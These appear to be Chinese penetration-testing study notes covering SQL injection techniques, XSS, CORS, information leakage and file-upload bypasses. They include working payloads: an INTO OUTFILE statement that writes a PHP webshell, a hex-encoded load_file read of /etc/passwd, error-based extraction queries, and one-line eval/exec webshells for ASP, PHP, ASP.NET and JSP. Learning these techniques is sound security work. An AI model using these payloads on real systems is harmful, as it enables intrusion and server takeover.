渗透测试二~~web安全基础
SQL注入(靶场实战及经验总结)(见sqli-lab题解)
题解一
题解二
1.什么是sql注入
当客户端提交的数据 未做处理或转义直接带入数据库就造成了SQL注入。
2.联合注入
order by *
group by *
利用内置函数暴数据库信息
version() 查看数据库版本
database() 查看当前数据库名
user() 查看当前用户
查看表:
Select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() 可十六进制
查看字段:
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘biaoming’;
3.数据注入类型
注入 分为2大类
整型(没有单双引号)
字符串(有单双引号)
4.导出数据库
select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径’
5.读文件
load_file(0x2f6574632f706173737764)
6.注入之布尔注入
mid(str,1,3) 字符串截取
ORD() 转换成ascii码
Length()统计字节长度
version() 是查看数据库版本
database() 查看数据库名
user() 查看当前用户
7.注入之延时注入
If语法:if (条件,True,False);
Select * from admin where id =1 and name = if(2>1,”1”,”2”);
Sleep(1)
8.报错注入之BUG报错
利用数据库的BUG进行利用,看报错信息 不过报错的信息就是我们想要的信息
只要是count(),rand,group by三个连用就会造成这种报错
left(rand(),3) == 不一定报错
floor(rand(0)2) == 一定报错
round(x,d) //x指要处理的数,d是指保留几位小数
Concat()//字符串拼接
select count(),concat(left(rand(),3),"—",(select version()))x from r1 group by x;
9.报错注入之函数报错
利用数据库的BUG进行利用,看报错信息 不过报错的信息就是我们想要的信息
函数很多比如:
updatexml
exp
geometrycollection
polygon
multipoint
multilinestring
multipolygon
multilinestring
10.修补SQL漏洞
Addslashes 字符串修补
Int 直接成INT类型
11.宽字节注入
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
MYSQL的字符集转换过程
宽字节注入漏洞原理
宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:
(1) character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。
(2) character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。
(3) character_set_database:数据库缺省编码字符集。
(4) character_set_filesystem:文件系统编码字符集。
(5) character_set_results:SQL语句执行结果编码字符集。
(6) character_set_server:服务器缺省编码字符集。
(7) character_set_system:系统缺省编码字符集。
(8) character_sets_dir:字符集存放目录,一般不要修改。
宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义消毒失败。
12.注入常用函数
https://www.jianshu.com/p/93924686345e
13.sql注入经验总结
CDN的理解
内容分发网络
1.CDN是怎么减轻源站服务器压力的?
CDN能处理整个网站页面的70%~95%的内容访问量,从而解决了网站的并发量,由此减轻了源服务器的访问压力,也同时提升了网站的性能,可扩展性以及安全性。
2.CDN是怎么实现加速的
将网站原服务器中的内容存储到分布于各地缓存服务中(也就是CDN的节点),通过智能中心管理系统对网络的动态流量进行分配控制,使用户能以最快的速度从最接近用户的地方获取所需要的信息,一般的静态数据,如图片、多媒体资料等将基本从CDN节点上读取,这使得从源文件服务器上读取的数据量大大减少。从而提高用户访问的响应速度和服务的可用性,解决Internet网络拥塞状况,提高用户访问网站的响应速度
防火墙
1.CDN
2.硬件防火墙
3.软件防火墙
4.程序防火墙
webshell
asp:<% execute(request(“cmd”))%>
php:<?php eval($_POST[cmd]);?>
asp.net:<%@ Page Language=“Jscript”%><%eval(Request.Item[“z”],“unsafe”);%>
jsp:<%Runtime.getRuntime().exec(request.getParameter(“cmd”));%>
XSS(靶场实战即经验总结)
XSS攻关小练习
1.什么是XSS
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
2.危害
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
3.什么是Js
JS是JavaScript的简称,是一种直译式脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型。它的解释器被称为JavaScript引擎,为浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML网页上使用,用来给HTML网页增加动态功能
4.什么是ajax
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
传统的网页(不使用 AJAX)如果需要更新内容,必需重载整个网页面。
有很多使用 AJAX 的应用程序案例:新浪微博、Google 地图、开心网等等。
5.Ajax跨域
允许单个域名访问
指定某域名(http://client.runoob.com)跨域访问,则只需在http://server.runoob.com/server.php文件头部添加如下代码:
header(‘Access-Control-Allow-Origin:http://client.runoob.com’);
允许多个域名访问
指定多个域名(http://client1.runoob.com、http://client2.runoob.com等)跨域访问,则只需在http://server.runoob.com/server.php文件头部添加如下代码:
origin = isset(_SERVER[‘HTTP_ORIGIN’])? _SERVER[‘HTTP_ORIGIN’] : ‘’;
allow_origin = array( ‘http://client1.runoob.com’, ‘http://client2.runoob.com’ );
if(in_array(origin, allow_origin)){
header(‘Access-Control-Allow-Origin:’.$origin);
}
允许所有域名访问
允许所有域名访问则只需在http://server.runoob.com/server.php文件头部添加如下代码:
header(‘Access-Control-Allow-Origin:*’);
6.什么是存储XSS
答:存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
信息泄露
1.什么是信息泄露
暴露了一些信息,比如
路径泄露:危害:比如一句话导出到网站的目录
CMS泄露:危害;比如百度
其漏洞服务器类型泄露
一些日志泄露
可提供思路给黑客进行一个渗透才叫信息泄露
2.Google用法
intitle:管理登录 filetype:php #标题中带有管理登录并且还是PHP语言的
inurl:login.php #只要URL包含了login.php都会列出
intext #正文中存在关键字的页面
intitle #标题中存在的关键字网页
info #一些基本信息
inurl #URL存在关键字的网页
filetype #搜索指定文件类型
3.找网站路径
(https://blog.youkuaiyun.com/jiumingmao11982/article/details/49589861/)
4.判断网站CMS
5.社工库
6.日志泄露
文件上传(靶场实战及经验总结)(见upload-lab题解)
上传框架总结
upload题解
1.空字节
当字符串有%00(空字节),就会被服务器似作为 结束符。
2.基本流程
图片是否正常上传
图片上传内容是否被感染(内容替换)
上传的域名是否是目标服务器
如果不是 那么判断图片服务器是否解析(php asp aspx jsp cfm shtml 等)
上传的目录是否支持解析(php asp aspx jsp cfm shtml 等)
判断是否黑白名单验证
文件包含读取-代码执行与命令执行(实例操作)
参照:文件包含漏洞
实例操作:文件包含漏洞实例操作